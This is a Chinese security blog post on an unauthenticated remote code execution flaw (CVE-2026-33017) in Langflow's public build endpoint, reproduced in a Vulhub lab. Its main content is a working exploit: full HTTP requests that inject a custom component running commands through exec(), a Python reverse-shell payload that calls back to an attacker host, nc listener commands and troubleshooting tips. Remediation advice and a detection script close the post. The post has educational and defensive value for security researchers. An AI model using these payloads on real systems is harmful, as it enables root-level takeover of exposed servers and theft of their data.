【GetShell】Langflow 公开流程构建接口未授权远程代码执行漏洞(CVE-2026-33017)
漏洞利用演示视频分享AI反被接管 | Langflow 高危RCE | CVE-2026-33017如果喜欢想系统学习网络安全知识可以关注我的网站站点地址详见文章头部官网【光跃Eason·安研社】先给你看最后一幕攻击机终端里nc监听窗口弹进来一行Connection received紧接着是/bin/sh的提示符敲下id回显uid0(root)。而我做的事情说出来你可能不信没有登录、没有账号、没有爆破密码只是往一个本来用来公开试玩 AI的接口塞了一段我自己写的流程。这个洞编号CVE-2026-33017出在现在很火的开源 AI 工作流工具Langflow上。最反常识的一点放在最前面它不是某个认证没配好而是官方给公开试玩开的那扇门本身就允许路人把厨房里的菜架整个换掉。你以为你只是分享了一个 AI 给朋友玩实际上你把整个服务器交到了任何路过的人手里。这篇文章我会把环境从零搭起来先复现命令执行的完整回显再走到反弹 Shell。中间有个特别经典的假失败发包工具报超时你以为凉了其实 Shell 已经弹回来了。这个坑我会原样还原。本文仅用于合法的安全研究和教育目的请确保测试系统拥有合法授权。一、漏洞背景Langflow 是干嘛的Langflow 是一个开源的 AI 智能体构建工具。你可以把它理解成一台智能炒菜机正常写一个 AI 应用要颠勺——写代码、调接口、接大模型而它在浏览器里给你一块大屏你拖几块积木、连几条线就能搭出一个会聊天、会查资料、会自动干活的 AI。它是 Python 写的底层跑的是 FastAPI 加 uvicorn默认端口 7860。这两年大模型火Langflow 这种零代码搭 AI的工具跟着水涨船高不少公司内部拿它搭知识库、搭智能客服。炒菜机有两个让用户特别喜欢的功能。这个洞恰恰是这两个功能撞在一起撞出来的。两个好功能怎么撞出一个大洞第一个功能叫自定义组件。机器自带的现成菜谱官方积木再多也总有不够用的时候于是它留了个口子你可以亲手写一段 Python 代码做一个只属于你的专属积木。这个功能对懂行的人特别方便但你得先记住一个关键常识写代码这个动作能力几乎是没有上限的。读文件、装软件、联网、改设置代码都能让机器干。所以这个口子在设计上本来只应该交给登录进来的作者在自家厨房里用。第二个功能叫公开 Playground。菜做好了想炫耀点一下分享机器就生成一张试吃邀请券——一个链接。朋友拿到券不用登记、不用进店在门外的一台自助点餐屏上点一下就能把这道菜重做一份尝。这台摆在门外的点餐屏就是公开 Playground。为了让任何人都能方便试吃它有个特点不问你是谁也不需要你登录。两个功能单独看都很美好问题出在它们被放到了一起。这台不问身份的门外点餐屏除了能让人点现成的菜还偷偷支持一个操作它允许路人现场递一张自己手写的菜谱进来让厨房别管原来那道菜改照他递的菜谱做。具体说公开构建接口路径形式为POST /api/v1/build_public_tmp/flow_id/flow接受一个可选的data参数这个参数会完全替换掉数据库里保存的流程定义。而手写菜谱里是可以夹自定义组件的自定义组件的代码在图编译阶段会被一个不带沙箱的exec()直接执行。把这两句话连起来结论就出来了一个没登录、没进门、你完全不认识的路人能让你的服务器照着他写下的任意指令开火。检查来得太晚了你可能马上会问机器拿到陌生菜谱不审核一下吗这正是这个洞最阴的地方。Langflow 内部的流程是——先把流程拼起来、一拼好就执行然后才轮到安全检查。而自定义组件里有一种写在模块最外层的语句是一拼上就自动执行的它在审核员到场之前就已经跑完了。打个比方你规定进门要先测体温但你家的门被设计成人一踩门口的垫子屋里的机器就先把他吩咐的事情办完办完之后才开始测体温。等体温计凑上去事情早就结束了。路人还需要一张邀请券要让厨房重做某道菜路人还得知道这道菜的编号也就是流程的flow_id。每个流程都有一个一长串随机字符的 UUID靠猜是绝对猜不出来的。但它难拿吗它就明明白白印在你发出去的那张试吃邀请券上。你为了请人试吃必须告诉对方尝的是哪道菜于是编号必然写在链接里。一旦你把链接发到群里、贴到公告栏、写进公开文档任何看到的人就同时拿到了攻击所需的定位符。这次靶场里的流程编号长这样e8b4f8c2-7a1d-4e5f-9b3c-2a6d8f0e1b4a雪上加霜默认开着的一键当店长还有更被动的情况。Langflow 出厂时默认开着一个自动登录开关AUTO_LOGIN。它开着的时候路人在门外按一下就能调用GET /api/v1/auto_login不花任何代价拿到一张超级用户令牌然后自己配一道菜、自己摆到门外点餐屏上再用上面那套如法炮制。这意味着哪怕你从来没分享过任何东西只要这个默认开关没关陌生人也可能自己造出试吃的前提再反过来攻击你。这次的靶场专门把它关掉了模拟的是已经登录页可见的真实部署——但记住关掉它只是切断了其中一条路并没有真正修掉这个洞。版本范围与修复方式受影响版本Langflow 1.8.2 及更早版本修复版本Langflow 1.9.0 及以上官方的修复方式很值得琢磨。他们没有简单地给点餐屏加个登记处、要求登录而是直接把现场递菜谱这个功能整个删掉了——1.9.0 移除了该接口的data参数新版本不再接受路人塞进来的自定义流程。这恰好点破了漏洞的真正根源问题的本质不是门没上锁而是厨房根本就不应该照着陌生人递进来的手写菜谱开火。只要这个能力还在今天加一把锁明天就可能有人找到绕过锁的办法。二、环境搭建这次直接用 Vulhub 一键起靶场镜像和配置都已经准备好了。进入漏洞目录一行命令dockercompose up-d看一下容器状态端口映射在 7860dockercomposeps这个靶场的配置特意做了几件事你要心里有数镜像锁的是vulhub/langflow:1.8.1落在受影响范围里显式设置了LANGFLOW_AUTO_LOGINfalse模拟真实部署访问会看到登录页预置了管理员账号administrator:vulhub还预载了一个已经公开分享的流程。浏览器访问http://{业务目标ip}:7860看到 Langflow 的登录页说明靶场起来了用administrator:vulhub登录能看到管理员预先分享过一个名为 My Flow 的流程。这个流程的分享链接里就带着我们要的那个 UUID。新手复现时常常卡在这一步浏览器直接访问分享链接页面一直转圈 Loading死活不出内容。别管它也不需要真的把页面加载出来。这个漏洞的关键点根本不在页面上而在后端那个构建接口——你已经知道流程 UUID 是e8b4f8c2-7a1d-4e5f-9b3c-2a6d8f0e1b4a这就够了。只要环境在运行管理员之前面向公众分享出去的那个链接就会变成反过来攻击他的线路。⚠️注意下面所有操作都在你自己的授权靶场里进行。文中的目标地址统一用{业务目标ip}表示你自己复现时替换成你的靶机 IP攻击机地址用{攻击ip}、监听端口用{listen_port}表示。三、漏洞复现这一节走完整两步第一步提交一个构建任务拿到job_id第二步轮询构建结果让命令的回显吐出来。目标是让服务器执行id并在响应里看到uid0(root)。步骤1提交恶意构建任务拿 job_id先看完整的请求包这是整个漏洞的核心POST /api/v1/build_public_tmp/e8b4f8c2-7a1d-4e5f-9b3c-2a6d8f0e1b4a/flow HTTP/1.1 Host: {业务目标ip}:7860 Content-Type: application/json Cookie: client_idanything {data: {nodes: [{id: CustomComponent-pwn, type: genericNode, data: {id: CustomComponent-pwn, type: CustomComponent, node: {template: {code: {type: str, value: from lfx.custom import Component\n\n_x exec(\raise Exception(__import__(os).popen(id).read())\)\n\nclass Pwn(Component):\n display_name \Pwn\\n def build(self) - None:\n pass\n}, _type: CustomComponent}, base_classes: [CustomComponent], display_name: Custom Component, outputs: [{types: [CustomComponent], name: Custom Component}]}}}], edges: []}}这个包看起来一大坨其实剥掉外壳关键的就三处。第一处路径里的 UUID。它就是公开流程的编号告诉服务器我要试玩这道菜。这个值来自分享链接不需要任何权限。第二处Cookie: client_idanything。这个接口会检查你有没有带一个客户端标识但它只检查带没带不检查你是谁。值随便填anything就行填个1也可以。它像一张门禁卡机器只看你手里有没有卡不核对卡上的名字。踩坑提示这个 Cookie 不带着接口直接不理你。这不是认证纯粹是个有没有卡的形式检查但少了它第一步就过不去。第三处也是灵魂data里那个自定义组件的code字段。我们没有去改数据库里的原流程而是用data参数把整个流程定义替换成了自己写的一份里面夹了一个自定义组件。组件的代码是这样fromlfx.customimportComponent _xexec(raise Exception(__import__(os).popen(id).read()))classPwn(Component):display_namePwndefbuild(self)-None:pass逐行拆开__import__(os).popen(id).read()是动态导入 os 模块执行id命令再把输出读出来。id命令会显示当前用户身份raise Exception(...)把命令输出包进一个异常里抛出去。为什么要这么干因为构建接口的正常响应里没有命令输出这个位置但构建出错时报错信息会原样推给前端我们就搭个顺风车把输出藏在报错里递出来exec(...)是 Python 里照单执行、说什么做什么的函数。Langflow 在编译自定义组件时会用它执行这段代码而且没有任何沙箱最关键的是这句_x exec(...)写在模块最外层而不是写在build()方法里。模块级语句在导入拼合的瞬间就执行先于一切校验。把包发出去服务器返回一个构建任务编号HTTP/1.1 200 OK server: uvicorn content-type: application/json {job_id:946b1b2b-501e-4284-aa5f-33957913f704}右边响应区里那个job_id就是我们第二步要查的凭证。核心原理为什么要分成两步因为构建是异步的。你提交的是一个构建任务服务器收下之后丢到后台去编译立刻给你一个job_id不会让你傻等。编译结果包括报错通过一条事件流往外推你得拿着job_id去取。这和你在餐馆下单拿到取餐号、菜做好了再凭号取餐是一个道理。步骤2轮询构建事件看命令回显把上一步的job_id填进路径发 GET 请求GET /api/v1/build_public_tmp/946b1b2b-501e-4284-aa5f-33957913f704/events?event_deliverypolling HTTP/1.1 Host: {业务目标ip}:7860event_deliverypolling表示用轮询方式取事件而不是挂长连接等推送。返回的是一串 ndjson 格式的构建事件在其中一条error事件里能找到我们的命令输出{event:error,data:{text:Error creating class. Exception(uid0(root) gid0(root) groups0(root)\n).\n,category:error,error:true}}看到这一行了吗uid0(root) gid0(root) groups0(root)uid0就是 Linux 的最高权限 root。服务器在容器里执行了我们指定的id还把结果通过那条报错顺风车递了出来。到这一步未授权远程代码执行已经坐实——我们没有任何账号只凭一个公开链接里的 UUID就让服务器替我们跑了命令。有个小细节提醒一下构建任务是后台异步跑的如果你第二步发得太快任务可能还没注册好会拿到 404 或 409。等一两秒再发或者多查一次就好不用慌。四、GetShell拿下服务器能看到id的回显证明命令能执行但这还不是拿下服务器。我要的是一条交互式 Shell我敲什么服务器就执行什么身份是 root而且不用每次都把命令塞进流程、再去轮询报错。网上关于这个洞的教程绝大多数演示到回显就结束了。真正爽的是反弹 Shell 这一步而且这个洞走反弹比你想象的顺——因为自定义组件里本来就是 Python直接让它跑 Python 代码就行不用绕命令行解析的弯。先说清楚反弹 Shell 是什么正常思路是你主动去连目标但真实环境里目标往往躲在防火墙和 NAT 后面它的服务端口外面根本连不进去。反弹 Shell 反着来让目标自己主动跑出来连上攻击机提前开好的监听端口连上之后它的输入输出就接到了你这边——你在自己机器上敲命令命令在目标上跑结果回传给你。这有点像你给对方发了个视频通话邀请对方一接画面和声音的主导权就在你这边了。前提是目标能访问到攻击机的 IP 和端口所以一台公网可达的攻击机基本是必备的。步骤1构造反弹 Payload我们在exec里直接写一段 Python建一个 socket连回攻击机再把标准输入、标准输出、错误输出全部重定向到这个连接上最后起一个交互式/bin/sh。把它放进data的code字段完整请求包长这样POST /api/v1/build_public_tmp/e8b4f8c2-7a1d-4e5f-9b3c-2a6d8f0e1b4a/flow HTTP/1.1 Host: {业务目标ip}:7860 Content-Type: application/json Cookie: client_idanything {data: {nodes: [{id: CustomComponent-pwn, type: genericNode, data: {id: CustomComponent-pwn, type: CustomComponent, node: {template: {code: {type: str, value: from lfx.custom import Component\n\n_x exec(import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\{攻击ip}\,{listen_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\/bin/sh\,\-i\]))\n\nclass Pwn(Component):\n display_name \Pwn\\n def build(self) - None:\n pass}, _type: CustomComponent}, base_classes: [CustomComponent], display_name: Custom Component, outputs: [{types: [CustomComponent], name: Custom Component}]}}}], edges: []}}里面那段 Python 拆开看一共四步importsocket,subprocess,os ssocket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(({攻击ip},{listen_port}))os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2)subprocess.call([/bin/sh,-i])前两行建一个 TCP sockets.connect让目标主动连回攻击机的{攻击ip}:{listen_port}三个os.dup2把 shell 的标准输入、标准输出、报错全部转接到这条连接上——这是反弹的关键不转的话你连上了也看不到输出最后起一个交互式/bin/sh-i表示交互模式。为什么这里直接用 Python 而不是常见的bash -i /dev/tcp/...因为这句代码本身就是被exec当 Python 执行的Python 代码里再塞 bash 语法反而要处理引号转义直接写 Python 最顺。这是这个洞相比其他 RCE 省事的地方——别人的命令要过 Shell 解析的关这里它本来就是 Python 解释器主场。步骤2攻击机开监听在攻击机上用nc开好监听等目标连回来nc-lvvp{listen_port}-l是监听模式-v显示详细信息-p指定端口。开着别动它会安静地等。步骤3触发漏洞注意这个假失败把反弹请求包发出去。这时候会出现一个特别容易劝退人的画面发包工具直接报错“请求失败或服务端异常”详细原因是read tcp ... i/o timeout——读取超时。我第一次打到这里心里咯噔一下以为 payload 写坏了。结果切到监听窗口一看Shell 早就躺在那了。核心原理超时不是失败恰恰是成功的信号。正常情况下构建任务编译完、报错推完HTTP 连接就正常关闭了。但这一次服务器执行了我们的反弹代码/bin/sh把这个连接背后的进程占住了一直在和你的攻击机保持会话HTTP 响应永远发不回来发包工具等到超时就报了 i/o timeout。换句话说它是在告诉你服务器的注意力已经被我的 Shell 牵走了没空回你这个包了。步骤4验证权限回到攻击机的监听窗口连接进来了提示符就绪。挨个验证whoamiid回显root和uid0(root) gid0(root) groups0(root)。这台 Langflow 服务器此刻在你的控制之下。你可以再ls、pwd走两步确认一下命令随敲随应。而且因为我们走的是反弹、不需要回显第二步的job_id轮询都可以直接省掉——把反弹 payload 发出去去监听窗口接人就行。这也是这个洞的利用可以非常短的原因一个请求一扇门开。降级方案如果目标出网受限、连不回你的攻击机比如只允许内网访问退回回显路线把id换成你想执行的命令通过raise Exception从报错里一条条取结果先把敏感信息、环境情况摸清楚再考虑用其他方式落地。回显方式虽然不能交互但在目标完全不出网的环境里是唯一的验证手段别一上来就死磕反弹。五、踩坑与避坑坑1忘带 Cookie接口直接装死发包时一切看起来都对UUID 也没错结果接口不按预期响应。排查了好一会儿发现是没带Cookie: client_idanything。这个接口虽然不验证身份但会检查客户端标识在不在。解决方案请求头里固定带上这个 Cookie值随便填带上就过。知道了就这么简单不知道能卡你十几分钟。坑2代码写进 build() 方法死活不执行照着官方自定义组件的写法把执行代码写进了build()方法里觉得这才是组件运行时该干的事结果命令纹丝不动。这是这个洞最核心的认知点。Langflow 在编译阶段会先执行模块级的代码也就是类定义之外、文件最外层的语句而build()方法里的代码要等组件真正被实例化、被调用时才会跑。我们的请求只走到编译拼合这一步根本不会进入build()。解决方案把执行语句放在模块最外层写成_x exec(...)这种赋值形式让它在拼合的瞬间就被触发。记住那个比喻——安检在进门之后才排队而模块级代码是人一踩垫子就开火。坑3发包超时以为是 payload 坏了就是 GetShell 那一步的画面。Burp 报i/o timeout本能反应是没成功改 payload。实际上超时是因为反弹 Shell 占住了连接、HTTP 响应回不来。解决方案判断成败别看发包工具的状态直接看攻击机的监听窗口。监听口有人连进来就是成了没人连再去查 payload 和网络。坑4第二步轮询太快拿到 404提交任务后立刻发 GET有时返回 404 或 409以为任务没建成。根因是构建任务在后台异步注册job_id还没登记完你就去查自然查不到。解决方案等一两秒再发或者轮询重试几次。写自动化探测脚本时这个 404/409 重试逻辑必须带上否则脚本会误报漏洞不存在。六、修复建议与自查升级 Langflow 到 1.9.0 及以上版本这是最根本的修复——新版本直接移除了公开构建接口的data参数路人没法再替换流程。明确关闭自动登录设置LANGFLOW_AUTO_LOGINfalse并设置强密码的超级管理员账号切断无凭据拿超级令牌这条旁路。不要把 Langflow 直接暴露在公网。需要对外提供试玩时放在反向代理后面加上访问控制或认证至少限制来源 IP。盘点历史分享出去的 Playground 链接确认哪些流程是 PUBLIC 状态不再需要的及时关闭分享。上线前用自查脚本确认自己的资产是否中招。漏洞自查脚本 detect.py我整理了一个无副作用的探测脚本detect.py专门给运维和防守同学自查用只做检测、不做任何破坏。它的逻辑和我们手动复现完全一致向公开构建接口提交一个只执行id的临时构建任务然后轮询构建事件如果在报错里看到uid形式的命令输出就判定漏洞存在。整个过程不写数据库、不改目标状态、不留后门攻击机也不用开放任何入站端口。用法python detect.py-thttp://{业务目标ip}:7860-fe8b4f8c2-7a1d-4e5f-9b3c-2a6d8f0e1b4a-t指定目标-f指定公开流程的 UUID不加-f时用的是靶场默认值。返回值含义0代表确认存在漏洞1代表不存在接口要认证或返回 4042代表不可达或需要人工确认。加-v可以看每一步的详细输出。七、写在最后这个洞讲到根上就一句话你以为你只是在门口摆了台请人试吃的点餐屏结果它连厨房的菜架都能被人换掉。最值得琢磨的是官方的修法——不是加锁而是把让路人递菜谱这个能力直接删掉。很多安全问题根子都在这只要系统会执行外部传进来的东西外面再多的认证都只是补丁让它从一开始就不该执行才是断根。这个洞还顺带提醒了一个容易被忽略的点默认配置往往为了好用而偏宽松。AUTO_LOGIN这种开关在本地试用时是方便一旦服务要上公网就得按能不给的权限就不给的原则收紧。如果你之前跟过我写的 Langflow 另一个洞——《【GetShell】Langflow API未授权远程代码执行漏洞CVE-2025-3248》建议两篇放一起看。上一个是 API 接口未授权这一个是公开试玩接口能被替换流程同一个产品、两种不同的门没关好看完你会对这类免登录 可传内容 自动执行的组合特别敏感。第一次复现的话建议先把第三节的id回显打出来确认链路通了再做反弹。每一步都有截图卡住了对照着查。复现过程中有问题直接评论区留言我看到了会回。本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境禁止对任何未授权系统进行测试。请遵守《中华人民共和国网络安全法》。技术本身没有好坏关键在于是谁在用、用来做什么。